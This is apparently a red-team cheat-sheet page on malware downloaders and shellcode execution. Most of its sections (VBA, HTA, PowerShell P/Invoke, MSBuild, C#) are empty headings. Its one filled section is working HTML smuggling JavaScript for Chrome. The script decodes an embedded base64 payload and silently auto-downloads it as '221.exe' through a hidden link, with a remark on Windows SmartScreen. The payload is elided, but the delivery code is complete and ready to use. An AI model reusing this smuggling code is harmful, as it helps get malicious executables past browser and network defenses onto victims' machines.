πDownloaders and Shellcodes
Downloaders
HTML Smuggling
HTML Smuggling Code - Chrome
Note that we chose to browse to the HTML file with Google Chrome since it supports window.URL.createObjectURL. This technique must be modified to work against browsers like Internet Explorer and Microsoft Edge.
When an Executable is downloaded via browser it is tagged as downloaded from the internet and Windows SmartScreen activate; Windows and the SmartScreen feature tries to block execution.
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array( len );
for (var i = 0; i < len; i++) {
bytes[i] = binary_string.charCodeAt(i);
}
return bytes.buffer;
}
var file ='AAAAAAAA....' /* Base64 Encoded payload */
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = '221.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>HTML Smuggling Code - MS Edge
Utilize - window.navigator.msSaveBlob
VBA Downloader
JScript
HTA Downloader
ShellCode Execution
VBA Shellcode Execution
Powershell Shellcode Execution (.NET) via P/Invoke
Add-Type calls the csc compiler, which writes to disk.
Powershell Dynamic Invoke
MSBUILD XML
C# Execution via InteropServices
Last updated
Was this helpful?